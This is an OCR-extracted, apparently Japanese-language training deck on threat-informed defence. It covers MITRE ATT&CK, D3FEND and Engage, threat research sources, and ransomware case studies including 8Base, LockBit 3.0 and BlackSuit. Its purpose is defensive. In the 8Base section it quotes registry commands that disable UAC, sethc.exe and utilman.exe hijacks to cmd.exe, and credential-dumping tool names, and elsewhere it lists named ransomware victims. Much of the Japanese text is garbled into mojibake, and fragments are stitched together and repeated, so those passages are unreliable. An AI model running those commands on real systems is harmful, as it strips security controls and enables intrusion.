Some embedded network devices are capable of storing passwords for local accounts in either plain-text or encrypted formats. Ensure that, where available, local passwords are always
encrypted, per vendor recommendations. [°)

Some embedded network devices are capable of storing passwords for local accounts in either plain-text or encrypted formats. Ensure that, where available, local passwords are always
encrypted, per vendor recommendations. ¥/

Some embedded network devices are capable of storing passwords for local accounts in either plain-text or encrypted formats. Ensure that, where available, local passwords are always
encrypted, per vendor recommendations. 7]

Some embedded network devices are capable of storing passwords for local accounts in either plain-text or encrypted formats. Ensure that, where available, local passwords are always
encrypted, per vendor recommendations.

Some embedded network devices are capable of storing passwords for local accounts in either plain-text or encrypted formats. Ensure that, where available, local passwords are always
encrypted, per vendor recommendations. 14/

With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. Itis
not configured by default and has hardware and firmware system requirements. 1%l It also does not protect against all forms of credential dumping. [°]
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Home > Data Sources > Active Directory

Active Directory

group, application, or devices)!!

Data Components

Domain ID Name
Enterprise  T1649 Steal or Forge
Authentication

Certificates

Enterprise  T1558 Steal or Forge Kerberos
Tickets

001  Golden Ticket

003 Kerberoasting

A database and set of services that allows administrators to manage permissions, access to network resources, and stored data objects (user,

Active Directory: Active Directory Credential Request

A user requested active directory credentials, such as a ticket or token (ex: Windows EID 4769)

ID: DS0026
Platforms: Azure AD, Windows

[S]

) Collection Layers: Cloud Control Plane, Host
Contributors: Center for Threat-Informed Defense (CTID)
Version: 1.0
Created: 20 October 2021
Last Modified: 30 March 2022

Version Permalink

Detects

Monitor AD CS certificate requests (ex: EID 4886) as well as issued certificates (ex: EID 4887) for abnormal activity, including unexpected certificate enrollments and
signs of abuse within certificate atiributes (such as abusable EKUs).””)

Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket
granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.””/*/*IManitor the lifetime of TGT tickets for values that differ from
the default domain duration.'! Monitor for indications of Pass the Ticket being used to move laterally.

Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4769, 4768), RC4 encryption within TGTs, and TGS
requests without preceding TGT requests. Monitor the lifetime of TGT tickets for values that differ from the default domain duration. Monitor for indications of Pass the
Ticket being used to move laterally.

Monitor for anomalous Kerberos activity, such as enabling Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate
irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type
0x17]).
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3-1:TTPs

MITRE ATT&CKI L —ALDT—D

— MITRE ATT&CKO L —AD—0OARZIRZEIT DD ThrUL. CTID (Center for Threat Informed
Defense) H\HEFEL TLVD [ATT&CK Powered Suit] Z{E>S & {&EF,

« https://ctid.mitre.org/projects/attack-powered-suit/

| Center
= | forThreat
1= | it ATT&CK POWERED
ENGENUITY. | Defense
Search ATT&CK... ]
mimikatz By
Select all | none
@ Tactics @ Mitigations @D Enterprise
@D Techniques @ Software @ Cs
@D Sub-techniques @ Groups @ Mobile
@D Campaigns @D Data Sources Deprecated
Select the types of objects to include in search results. Filter by domain, etc.

$0002 : Mimikatz ([EIEEEY B

Mimikatz is a credential dumper capable of obtaining plaintext Windows
account logins and passwords, along with many other features that make it
useful for testing the security of networks. [ [2]

Name (7] Summary (7] Link (5] Goto[#

$0179 : MimiPenguin [Ty
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3-1:TTPs
MITRE(E. ATTRCKI L —AD—DOLINCEERR T L —ALAD—D%Z 13U TLD,

(1) MITRE D3FEND : https://d3fend.mitre.org/

— NSANAREEZIRHE L. MITREDHE UCKREFENDBHIFEZRIBLIEIL —ALAD—D

— 2021F6H(CR—=5R (0.9.1) AU U—=XEH. 2024F12A(21.0.00 U U—Z =Nz,
BT S DNMEE L. Digital Artifact(Cxi L C

- IREFE (ATT&CK Technique) H'EDDigital Artifact(CRZE
EDKXDIRBAEIFE (D3FEND Technique) WD IIDH. ZDREGUZEIBLIZI L —LADT—0

relationship:
modifies verifies

Executable Binary File

Defensive Model

(D3FEND)

Offensive Model
(ATT&CK?) Digital Artifact Ontology

(simplified)
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A knowledge graph of cybersecurity countermeasures
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Access Policy Administration

D3-APA

D3-APA (Access Policy Administration)
Definition
Access policy administration is the systematic process of defining, implementing, and managing access control policies that dictate user permissions to resources.
Synonyms: Access Control Administration .
Digital Artifact Relationships:

This defensive technique is related to specific digital artifacts. Click the artifact node for more information.

restricts—» Directory Service
T BEENMNRZRL. BEENDITIRODIigital Artifact. AN 70> 3> %R,

ZDiZE.  [Access Policy Administration] &UL\SXi5R(&. [Directory Servicel] . [Directoryl] . [Filel
—— [User Account| 72 &EDDigital Artifact(Cxf L. [Restrict] 33 &EEHFETIITULD,

restricts——» User Account

json

Technique Subclasses

There are 4 techniques in this category, Access Policy Administration.

Name ID Definition Synonyms
Access Policy Administration D3-APA Access policy administration is the systematic process of defining, implementing, and managing access control policies that dictate user permissions to resources. Access Control Administration
- Local File Permissions D3-LFP Restricting access to a local file by configuring operating system functionality.

- User Account Permissions D3-UAP Restricting a user account's access to resources.

- Domain Trust Policy D3-DTP Restricting inter-domain trust by modifying domain configuration.




ATT&CK Lookup TTechniquesZi&z U.
YEDTechniquesZiEE I DELUTDLD
IADIAGRAMMO'ER RSN B,

A (E. [LSASS Memory-T1003.001 |
MMEE N6,

D3FEND Inferred Relationships

Browse the D3FEND knowledge graph by clicking on the nodes below.

Detect Isolate Evict

System Call Filtering p=========1

ternel-based Process Isolation [ === == 'may-iscl

Application-based Process Isolation == =may

(EHR(E) AR EREC.
Rl BHEHRMRE(CH U TEDKSI(C
WEFE(CHEZRFITNEH AN TLND,.

WEH EDDigital Artifact\gZ&8= 5 X dh
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JD=F=ND C ) File Edit View Help d3fend-cad json

Action Object State Misc
[ Event } [ Digital Artifact ] [ Vulnerability ] [ Note ]
[ Attack J [ Agent ] [ Condition ] [ Thing ]

Countermeasure

+
]
; Defense Action 0 Defense Action 0
Defense Action 0 Defense Action 0
: < el d3f:ProtocolMetadataAnomalyDetection d3f:PerHostDownload-UploadRatioAnalysis
d3f:UserGeolocationLogonPatternAnalysis d3f:NetworkTrafficFiltering .
Network Traffic Filtering Protocol Metadata Anomaly Det Per Host Download-Upload Ratio A

User Geolocation Logon Pattern A

Defense Action 0

d3f:Client-serverPayloadProfiling

Client-server Payload Prof

Attack Action 0

d3f:T1021

Remote Services

D3FEND CADZf£ES &, JREI(C
NV ESDEEHT DT EEREE. o

4 0! o
Digital Artifact Digital Artifact Digital Artifact Digital Artifact
d3f:IntranetNetworkTraffic d3f:AdministrativeNetworkTraffic d3f:RDPSession d3f:SSHSession

Intranet Network Traffic Administrative Network Tr RDP Session SSH Session




D3FEND Resources

General Resources

D3FEND er This paper explains the motivation and design of the D3FEND
knowledge graph. PDF format.

D3FEND Ontology Access the D3FEND Ontology and associated data files in various

Resources formats such as TTL, JSON-LD, and RDF/OWL.

A D3FEND Matrix web view suitable for printing, adjust your printer page
size settings to match the resolution and size needed.

D3FEND CAD Put the D3FEND Ontology into action with D=F=ND ¢

D3FEND This spreadsheet contains all D3FEND techniques and their definitions.
Spreadsheet CSV format.

ATT&CK Extractor Extracts ATT&CK techniques from blobs of text and recommends
potential D3FEND countermeasures.

D3FEND Extractor Extracts D3FEND technigues from blobs of text and shows related
ATT&CK techniques.

Extracts D3FEND Artifacts from blobs of text and links to their definitions.

Extracts offensive and defensive techniques, and artifacts from text. It
enables you to then perform operations on the extractions.

ATT&CK Mitigations to The D3FEND team created this mapping in order to help users
D3FEND Techniques navigate between the two knowledgebases.

NIST 800-53 Rev. 5 to The D3FEND team created this mapping in order to help users
D3FEND Techniques navigate between the two data sets.

DISA CCI to D3FEND The D3FEND team created this mapping in order to help users
Techniques navigate between the two data sets.

Open source code from the D3FEND project. You can create issues or submit
pull requests.

D3FEND Slack | Join our public D3FEND Slack Workspace.
D3FEND API Initial public D3FEND developer's API

D3FEND(&. MBICHEERLIRY Y — Xz iR
LCWhs,
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3-1:TTPs
« MITRE(&E. ATTRCKI L —ALT—=DTLNMCEERRR I L —LAT—DZ2RFHU TS,

« (2) MITRE ENGAGE : https://engage.mitre.orq/

(FwY RD—ORZE(FE TSNV E&FITR(C) Blue Team (B5fEMEN Y. EBE(CKLDELEH/IME
gBlesD. WEBI)L—TA M T DicsbDIEMIBEIS (Adversary Engagement Methodology) %
R IDIeHDI L —LT—0

B (C(E. D&DIESE (Denial & Deception) M55,

Deception (HRE) (CERZTHTTC. EOLOKWEED
SHENZIEIE - RELSE. CTOENZEMEIT D ET. Adversary
%H%ﬁk@ﬁﬁ?ﬁﬂﬂ’i%@%:t’i@?ﬁ@'j D_A'j_g Engagement

HELLIGT R
Analysis

Deception
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WENEIGOER FULL DEFINITION H ADVERSARY VULNERABILITIES

INTRODUCED VULNERABILITIES
ID: EAC0023

Intentionally introduce vulnerabilities into the environment for the adversary to exploit.

By intentionally Introducing Vulnerabilities into the engagement environment, the defender can attempt to motivate the adversary to target specific resources. This targeting may serve to move the adversary towards a particular

resource, or away from another resource. At other times, the defender may Introduce Vulnerabilities as a mean of encouraging the adversary to reveal targeting preferences, available capabilities, or even to influence future targeting

decisions. The operational objectives will drive how and why the defender Introduces Vulnerabilities in the engagement environment.

Enterprise
ATT&CK® Tactics

Credential Access, Discovery, Execution, Lateral

Movement, Privilege Escalation

Credential Access, Discovery, Execution, Lateral

Movement, Privilege Escalation

Credential Access, Discovery, Execution, Lateral

Movement, Privilege Escalation

Credential Access, Discovery, Execution, Lateral

Movement, Privilege Escalation

Adversary Vulnerability Presented

When adversaries interact with engagement environments and personas, their future capability, targeting, and/or infrastructure requirements are vulnerable to

influence.

When adversaries interact with network or system resources, they are vulnerable to triggering tripwires or engaging in easily detectable, anomalous behavior.

When adversaries utilize or abuse system features, software, or other resources, they may be vulnerable to monitoring or Man-in-the-Middle manipulation.

When adversaries discover enabled, accessible, or intentionally weakened/overly permissive resources in the environment (production or isolated), they are vulnerable

to revealing additional or more advanced capabilities when exploiting or using said resource.
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3-2 : Defensive Architecture

Operational Intelligenced®BH :
- BHEURBRT > TV >R (BR - WEFE) ZH&E(C. Defensive ArchitecturedMigsRz=17>,

Cf. Defensive Architecture (5% : Hostile Architecture)
— HDIGAPEYIOFBEEN. BONEFRAMEVAZ T BIAZTHRT DIZOHICED IZ UTZERETEE,
— 0T, YHA4/)\—txF 1 U5 DOXIRTIE [IREEZHEROIGEIR )7 —F570F v | ZE2KT B,

https://en.wikipedia.org/wiki/Hostile architecture
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3-2 : Defensive Architecture

Principle for Defensive Architecture :

Cyber Threat Intelligence

BIOTTPRIEAZ T D (3-3 : Threat Research)

PREVENT what you can,

DETECT what you cannot prevent,

HUNT what you cannot detect

¥

Purple Teaming

FBh - 1 &AIFEE DE L
(Appendix D=ZH8)

S

- 3-4 : Threat Hunting

=

THTEDIEDEFHEL FHTEERVWEDFRMEL, RIMTETENWEDFIN FEX

o

Detection Engineering
RAFEE DB L2 T O LTV < Bk

RANDBRLDIR L

https://gulfnews.com/technology/gqulf-news-cybersecurity-forum-take-a-holistic-approach-across-the-entire-attack-surface-1.1733831630145
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Secureworks
@Secureworks

"Effective threat detection is built on a simple yet powerful principle:
prevent what you can, detect what you cannot prevent, & hunt what you
cannot detect.”

Read the article for more from Gopan Sivasankaran, on thinking Like

attackers. | pr.ly/6003E1oV

FEI15:00 - 20245E128 128 - 200 5DOFET

https://x.com/Secureworks/status/1866935996341727567
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3-2 : Defensive Architecture

- Defensive ArchitectureDEXRDOEURIE : TLW\eBET > 2] AOXWUSE

— Cyber Threat Intel : BATDINEF E=ILIET 2FE

— Purple Teaming : BIXIDIEFECHITD T - BHgENZRE LS EDFE

— Threat Hunting ROt 1 U 2 —TRIA TS IRWKRIDBRZSFE S DFE
Capability

4

/A Evasion capability

i / Detection capability

v

» Time

Ref : TaHiTl Threat Hunting Methodology 84
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3-2 : Defensive Architecture

- Defensive ArchitectureEXRDOEURME : LB > 2] ANOMALTGE
— Cyber Threat Intel : BATDINEF E=ILIET 2FE

— Purple Teaming
— Threat Hunting

Capability
I\

: BIRIDOWEFE(CHS T DT - RAgENZR LB DIFE
 BIFOTF 1 YUT 4 25 —TRA TERVRIMDBRZFFE I ©F %

Cyber Threat Intel DB

Purple Teaming® B #Y ¥ Evasion capability

% / Detection capability

L

v

Threat Hunting®BEH#

» Time

Ref : TaHiTl Threat Hunting Methodology 85
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3-3 : Threat Research
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3-3 : Threat Research

B9t (Threat Research) &% ?
- REENERAITIWNEFL (=TTPs) Z0DH9 DLl

— BHRUINE EDFICEDE. Purple Teaming¥™Threat Hunting(ZIGH9 3 8> UA] =
YER 9 B,

- [BESFUA] LF EREOWREEMEDSIRESFUAD &,

BRI OER
Bir - BELS U AER i
[BRSFUA| BECKHERT —F%E  BEATUIUSIDXICEDSE. B -+« BESFTUAZ. Purple Teamingt>
ZINET D, BisAA(E. OSINTEE USR] ZEET D, Threat Hunting(C/ER9 3.

SIGINTE!D 2 BRENMFET Do

87



3-3 : Threat Research
- BEZHIOLER

- OSINTEZ! : 2FIBEHR (N> —Lik—b) PAEBDIntelligence Communityh SEIG T S

- ) it IRESS - IEERDHE
— ﬂiﬂ,ﬁlﬂ EEM - WEHRZFHOITLU T, EARBREIS YU AZIRIE UIRITHUSWTIRVDEER T B

* f5]) Ransomware Live https://www.ransomware.live/

*f5]) RansomLock https://www.ransomlook.io/recent

* f5]) RansomWatch https://ransomwatch.telemetry.ltd/

f5) darkfeed.io https://darkfeed.io/

f51) Ransomwhere https://ransomwhe.re/

f51) DRM https://ransom.insicurezzadigitale.com/

— CHOULIEBHREEZAVU>TUT. BREEADUEERICRENTDVLHER L. WEnﬁnt%Tb
#m%m&m LT, 8ICHNMZEITD BRARSHATITTZICDVWTEAEAREETENIEIND
(F7RNDY, AREE &M SRIC(FBERMN D Iesd. BIEIEIZDIFTLIL)
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type to search

w RansomLook %

Dashboard

Recent posts
Status

Groups profiles
Ransomware Notes
Forums & Market
Leaks

Telegrams

Twitters
Cryptocurrencies

Stats

Recent posts

Last 100 posts

Date Title Group
2025-01-19 Richardson gilin
2025-01-19 TG3 Electronics rhysida
2025-01-19 WELKER | World-Class Manufacturing gilin
2025-01-18 Axiom Constructors wikileaksv2
2025-01-18 Bertelkamp Automation, TN USA wikileaksv2
2025-01-18 MERCURYGATE.COM clop
2025-01-18 Billaud-Segeba, FR wikileaksv2
2025-01-18 MassDevelopment bianlian
2025-01-18 USE Federal Credit Union gilin
2025-01-18 Refreshment Services Pepsi gilin
2025-01-18 Marina Family Medical money message
2025-01-18 Kassin & Carrow lynx
2025-01-17 gonzalesusd.net safepay
2025-01-17 nightingalehammerson.org kairos
2025-01-17 funkforum update funksec
2025-01-17 Divimast akira
2025-01-17 VODOTEHNIKA D.D. akira
2025-01-17 fol-23.fr eraleign (apt73)
2025-01-17 aguamanaesp.gov.co funksec
2025-01-17 Vodotechnika akira
2025-01-17 LYNXSPA morpheus
2025-01-17 Anders CPAs + Advisors leakeddata
2025-01-17 Washington Gastroenterology (DHSWA.NET) inc ransom
2025-01-17 Kilgore College (kilgore.edu) inc ransom
2025-01-17 peponline.org inc ransom
2025-01-17 Taylor Regional Hospital (thcg.local) inc ransom
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1?']) Top 10U X hDiEH

CISA Risk and Vulnerability Assessments https://www.cisa.gov/resources-tools/resources/risk-and-vulnerability-assessments
—  Center for Threat Informed Defense https://github.com/center-for-threat-informed-defense/top-attack-techniques
—  Top Attack Technique by MITRE Engenuity https://top-attack-technigues.mitre-engenuity.org/#/top-10-lists
— RedCanary Threat Detection Report 2024 https://redcanary.com/threat-detection-report/

1) CISA Decider

— CISA (WAUBEREYA/I\—tF+1UF v - HEBEGERET) MERLITY )L,

- BRER-XXATERLTWZEIEKD., Ty DZEFENELTHLSY =)L,
« https://www.cisa.gov/news-events/alerts/2023/03/01/cisa-releases-decider-tool-help-mitre-attck-mapping
« https://github.com/cisagov/Decider/
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3.04%
External Remote Services

FY23 RVA Results 11021

MITRE ATT&CK™ TACTICS AND TECHNIQUES HookinngOS?i..q.D?)Zo

Persistence

File System Permissons
Weakness T1574.010

Threat actors maintain persistence or foothold in
a network or system by changing credentials or

modifying configuration files to maintain continued LSASS Driver
access. Threat actors may also monitor and T1547.008
manipulate reports observed in the Server Manager Valid AcCOunts

Performance Monitor to remain undetected. T1078

Create Account

Mitigations T1136

Organizations can mitigate the risks associated with QI
this technique by adhering to the following CPGs: " Hidden Files and é‘,

Directories

CPG 2.H Phishing-Resistant Multifactor Authentication T1564.001

CPG 2.T Log Collection

14.83%

*Other (7.6%)
1.52% Web Shell T1505.003 0.38% New Service
114% DLL Search Order Hijacking T1574.001 0.38% Event Subscription T1546.003
N 0.76% Redundant Access 0.38% Office Application Startup T1137

ATT&CK 0.76% Login ltem T1547.015 0.38% Windows Management Instrumentation T1047
This advisory uses the MITRE Adversarial Tactics, Technigues, and Common 0.38% Hypervisor 0.38% Image File Execution Options Injection T1546.012
Knowledge (ATTECK) and Pre-ATTACK frameworks. See the ATT&CK for 0.38% Service Registry Permissions Weakness 0.38% Scheduled Task T1053
Enterprise and Pre-ATT&CH frameworks for referenced threat actor te

For more information about CISA assessment services, please visit clsa.gov. 0.38% Modify Existing Service




RANSOMWARE TOP 10 TECHNIQUES

T1059 COMMAND AND SCRIPTING INTERPRETER

1. T1059 COMMAND AND SCRIPTING

INTERPRETER
DESCRIPTION
2. T1078 VALID ACCOUNTS Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These
interfaces and languages provide ways of interacting with computer systems and are a common feature
3. T1021.001 REMOTE DESKTOP PROTOCOL across many different platforms. Most systems come with some built-in command-line interface and

scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while
Windows installations include the Windows Command Shell and PowerShell.

4, T1047 WINDOWS MANAGEMENT

There are also cross-platform interpreters such as Python, as well as those commonly associated with client
INSTRUMENTATION P P / J

applications such as JavaScript and Visual Basic.

5. T1490 INHIBIT SYSTEM RECOVERY Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands.

Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents
or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands

6. T1105 INGRESS TOOL TRANSFER through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote
Execution.(Citation: Powershell Remote Commands)(Citation: Cisco |0S Software Integrity Assurance -
7. T1083 FILE AND DIRECTORY DISCOVERY Command History)(Citation: Remote Shell Execution in Python)
SUBTECHNIQUES
8. T1486 DATA ENCRYPTED FOR IMPACT
T1059.001 POWERSHELL v
9. T1190 EXPLOIT PUBLIC-FACING APPLICATION
T1059.002 APPLESCRIPT v

10. T1489 SERVICE STOP

https://top-attack-techniques.mitre-engenuity.org/#/top-10-lists



Top techniques by detection volume

T1059.001: PowerShell

T1059.003: Windows Command Shell

T1047: Windows Management Instrumentation

T1078.004: Cloud Accounts

T1027: Obfuscated Files or Information

T1114.003: Email Forwarding Rule

T1003: OS Credential Dumping

T1218.011: Rundli32

T1105: Ingress Tool Transfer

T1036.003: Rename System Utilities

Top techniques by industry

T1059.003: Windows Command Shell (20)

T1059.001: PowerShell (19)

T1047: Windows Management Instrumentation (14)

T1078.004: Cloud Accounts (13)

T1105: Ingress Tool Transfer (11)

T1027: Obfuscated Files or Information (11)

T1546.008: Accessibility Features (9)

T1036.003: Rename System Utilities (9)

T1218.011: Rundli32 (8)

T1114.003: Email Forwarding Rule (8)

https://redcanary.com/threat-detection-report/
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o ) ROALKR—B (#l: Volt Typhoon Analysis by CISA)

Initial Access

To obtain initial accegs [TA0001= }, Volt Typhoon actors commonly exploit vulnerabilities in networking appliances

such as those from Fortinet, Ivanti Connect Secure (formerly Pulse Secure), NETGEAR, Citrix, and Cis¢o [T1190 ]
They often use publicly available exploit code for known vulnerabiliti¢s [T1588.005= | but are also adept at

[—r

discovering and exploiting zero-day vu Inerabilit‘es T1587.004=

® |n one confirmed compromise, Volt Typhoon actors likely obtained initial access by exploiting CVE-2022-42475 in
a network perimeter FortiGate 300D firewall that was not patched. There is evidence of a buffer overflow attack
identified within the Secure Sockets Layer (SSL)-VPN crash logs.

Once initial access is achieved, Volt Typhoon actors typically shift to establishing persistent access [TA0003 |. They

often use VPN sessions to securely connect to victim environmenits [T1133= |, enabling discreet follow-on intrusion

activities. This tactic not only provides a stable foothold in the network but also allows them to blend in with regular

traffic, significantly reducing their chances of detection. https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a




Junl

=451 : Volt Typhoon

Table 14: Volt Typhoon actors ATT&CK Techniques for Enterprise - Lateral Movement

Lateral Movement

Technique Title

ssion Hijacking

Fe )7 During the p of Volt Typ cnown network

Cloud ¢ . presence, ther

tenant potentially (
from theft of NTDS. dit .

Volt Typhoon has moved laterally
via an intel D i

Use Alternate
Authentication
Material

Valid Accounts:

Cloud Accounts
tenant potentiall
from theft of NTDS. di

https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a



£ : 8base

« TrendMicrottL/h— MCENIE. BRleb%xE [HRBINRXR
No—23>FRA5— (FBEOMETEEZREDITET A LT
S1%E| - fHK) | THDEFR.

T4 WS IXA—=)LPER7 oA T O—H—%2T L TIRE
FRBEICEAL. BRUBHREZES{EUE L TRET S
CEY [TEDOBEE] BiSxmd3RET)—T,

BRI—FVETIZVD

2LTFVIRIL KERBEH
PO ABREE

HEREA
& 5 8 -

249y vd IVATO0MhFok Mimikatz, LaZagre,
WebBrowserPssView,
VNCPassView,
PasswardFax, ProcDump

A

O A=

UAC/ (/82 FEOL YA YLV hURENRT D

EnableLUA =0 TET, O A YFHECMDERTT
PromptOnSaecureDesktop =0 HalpPane.oxo -> cmd.exo
OonsentPromprBehaviorAdmin = 0 utilman.exe -> omd axs

Magnify.exe -> cmd.exe
sethc.exe -> omd.axe

WERR
% B ~AO—K
BHE#, PCHunter,
GMER, Prooess Hacker UL 7

Windows /XY +OTDOUTP JL—F3
KILLAV Y z

MITRE ATT&CK & % 7 Y L7 = 7 8Base DfER

REA
T1566 - 74 v &~ 7

& - ¥ )
T - )

mUTYHHEALZREELE

& L
4oty e 3 ¢ T > o\ 2 . . - M o &+ (- -4 -
. BEEN T4 v 3 G Y o - oy FAEITENET .

T1547.001 - LY R PYRTF—/ REZ—=FT v 77201 4:
UFOLZARYI Y ZERL. EMEFTEERLET:

HKEY_LOCAL_MACHINE¥SOF TWARE¥Microsoft¥Windows¥CurrentVersion¥Run
w7 £ 74) = %AppDataLocal®%{ 7 /L7 = 7% ).exe

HKEY_CURRENT _USER¥Software¥Microsoft¥Windows¥CurrentVersion¥Run
(w7 74) = %AppDataLocal®{= /7 = 7 £ ).exe

F1-, BEOIOE—% %User Startup®% 7+ A FIZFOv 7L ET,

HHEAR

T1134.001 - b—7 D&M/ GW

SATFLDOS A=Y arhe LY AKEVEE, explorerexe® b—7  EHULET,
T1134.002 - F—2 % ERALT7 O X %K

8Base 79 L7V
YEBRLT7 oA ZERLET.

T1548.002 - a—H—=FhH7 > FBIEHOD /A N R

A=HF=T 7 ARE (UAC) 213 R"RAT2LHDLIRAMYT Y ZEMLET.

713, APICreateProcessWithTokenW & explorerexe OERE NS b —

ADD HKLM¥SOF TWARE¥Microsoft¥Windows¥CurrentVersion¥Policies¥System /v
EnableLUA /t REG_DWORD /d 0 /{

ADD HKLM¥SOF TWARE¥Microsoft¥Windows¥CurrentVersion¥Policies¥System /v
PromptOnSecureDesktop /t REG_ DWORD /d 0 /f

ADD HKLM¥SOF TWARE¥Microsoft¥Windows¥CurrentVersion¥Policies¥System /v
ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f

https://www.trendmicro.com/ja_jp/research/24/e/ransomware-spotlight-8base.html



MITRE ATT&CK TECHNIQUES

See Table 3 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping

=0T

Lokibit 3.0

to the MITRE ATT&CK framework, see CISA’'s Decider Tool and Best Practices for MITRE ATT&CK Mapping

Guide.

Table 3: LockBit 3.0 Actors ATT&CK Techniques for Enterprise

Initial Access

Technique Title

Valid Accounts

Exploit External Remote
Services

Drive-by Compromise

Exploit Public-Facing
Application

Phishing

Execution
Technique Title

Execution TA0002u

Software Deployment Tools 110720

Persistence

Technique Title

Valid Accounts

LockBit 3.0 actors obtain and abuse credentials of existing
accounts as a means of gaining initial access.

LockBit 3.0 actors exploit RDP to gain access to victim networks.

LockBit 3.0 actors gain access to a system through a user visiting
a website over the normal course of browsing.

LockBit 3.0 actors exploit vulnerabilities in internet-facing
systems to gain access to victims’ systems.

LockBit 3.0 actors use phishing and spearphishing to gain access
to victims' networks.

LockBit 3.0 launches commands during its execution.

LockBit 3.0 uses Chocolatey, a command-line package manager
for Windows.

LockBit 3.0 uses a compromised user account to maintain
persistence on the target network.

https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a
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#) BlackSuit (IH : Royal Ransomware)
- “EBBES>YLADITY
— CISA Report : https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a

— NIVITTVDODREFEZDHTL. MITRE ATTRCKANY E> T T 3,
e, W=ILZFIRL. CoBEZEEIMET A EEaEE (2. W—ILICKDEFERIEINILDT T )
PIROFEZIBIETES VAN D D2, FRINE)
#5]) Joe Sandbox https://www.joesandbox.com/
f51) Mandianttt CAPA  https://aithub.com/mandiant/capa

- AZSAZTRHEINTNDIY > Ry I XEmIFIRAEZE LTV EFERT TSR0, aIEETHhNIE
HERIREDPRY> FO-VRIEZDONDS LR END.
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Spam, unwanted Advertisements and Ransom Demands

=45 : BlackSuit

« Joe SandboxZFIA L. NIV T VEETOENEEITERZMITRE ATTRCKICY Y E> T UT=54

Yara detected BlackSuit Ransomware v

Deletes shadow drive data (may be related to ransomware)

Mitre Att&ck Matrix

Initial Access

Valid Accounts

Default Accounts

Domain Accounts

Local Accounts

Cloud Accounts

Execution

Command and
Scripting Interpreter

Scheduled Task/Job

At (Linux)

At (Windows)

Cron

Persistence

Bootkit

Boot or Logon
Initialization Scripts

Logon Script
(Windows)

Logon Script (Mac)

Network Logon Script

Privilege Escalation

Path Interception

Boot or Logon
Initialization Scripts

Logon Script
(Windows)

Logon Script (Mac)

Network Logon Script

Defense Evasion

Deobfuscate/Decode
Files or Information

Obfuscated Files or
Information

Bootkit

Software Packing

File Deletion

Credential Access

Input Capture
LSASS Memory
Security Account
Manager

NTDS

LSA Secrets

Discovery

System Time
Discovery

Security Software
Discovery
File and Directory
Discovery

o8
System Information
Discovery

Remote System
Discovery

Lateral Movement

Remote Services

Remote Desktop
Protocol

SMB/Windows Admin
Shares

Distributed
Component Object
Model

SSH

Collection

Input Capture

Archive Collected
Data

Data from Network
Shared Drive

Input Capture

Keylogging

Exfiltration

Exfiltration Over
Other Network
Medium

Exfiltration Over
Bluetooth

Automated
Exfiltration

Scheduled Transfer

Data Transfer Size
Limits

Command and
Control

Encrypted Channel

Proxy

Steganography

Protocol
Impersonation

Fallback Channels

https://www.trendmicro.com/en_ph/research/23/e/investigating-blacksuit-ransomwares-similarities-to-royal.html
https://www.joesandbox.com/analysis/858424/0/html

Network Effects

Eavesdrop on
Insecure Network
Communication

Exploit SS7 to
Redirect Phone
Calls/SMS

Exploit SS7 to Track
Device Location

SIM Card Swap

Manipulate Device
Communication

Remote Service
Effects

Remotely Track
Device Without
Authorization

Remotely Wipe Data
Without Authorization

Obtain Device Cloud
Backups

v

Impact

System
Shutdown/Reboot

Device Lockout

Delete Device Data

Carrier Billing Fraud

Manipulate App Store
Rankings or Ratings
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. ATT&CK Navigator :

— ATTRCKADYY E> I EFIRITBY—)L, ISONTF7AIL T, INEURKEFE (ATTRCK) HEOJHEE,
— https://mitre-attack.github.io/attack-navigator/

— &%) mitreattack-python : Python CMITRE ATT&CKZFIFE T B lzebDS51 TSV
« https://github.com/mitre-attack/mitreattack-python

« ATT&CK Extractor / D3FEND Universal Extractor :

— D3FEND Projecth' B LIEY —IL. BE1>FT I T O ALR—b (FX ) ZRDMHFIFDE. ATTRCK
TechniquesZziti U. B3iE 9 BD3FEND Techniqueszi#iE L T<N3.

— https://d3fend.mitre.org/tools/attack-extractor/

— D3FEND Universal Extractor(d. ATT&CK Techniques/ZiFT7&<. D3FEND Techniquest>Digital Artifactzx TXZE
Mot EIEIRY—)L, RIFRTHERIDED. DIFENDZEMLUIELR— MMIWRL, ERMNAZTE LRI —
AND B,

— https://d3fend.mitre.org/tools/extractor/

101


https://mitre-attack.github.io/attack-navigator/
https://github.com/mitre-attack/mitreattack-python
https://d3fend.mitre.org/tools/attack-extractor/
https://d3fend.mitre.org/tools/extractor/

Volt Typhoon

Volt Typhoon is a People’s Republic of China (PRC) state-sponsored actor that has been active since at least

2021. Volt Typhoon typically focuses on espionage and information gathering and has targeted critical ID-G1017

infrastructure organizations in the US including Guam. Volt Typhoon has emphasized stealth in operations using D Associated Groups: BRONZE SILHOUETTE

web shells, living-off-the-land (LOTL) binaries, hands on keyboard activities, and stolen credentials.["/IZI5] Contributors: Phyo Paing Htun (ChiLai), I
Secure Co.,Ltd; Ai Kimura, NEC Corporation;

Manikantan Srinivasan, NEC Corporation
India; Pooja Natarajan, NEC Corporation India

Version: 1.1
Created: 27 July 2023
Last Modified: 28 March 2024

Version Permalink

Associated Group Descriptions

Name Description

BRONZE SILHOUETTE (3]

Techniques Used

https://attack.mitre.org/groups/G1017/
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ATT&CK Extractor

Extracts ATT&CK techniques from blobs of text and recommends potential D3FEND countermeasures. You may also want to try the D3FEND Extractor or the Artifact Extractor.

Paste any text containing ATT&CK IDs:

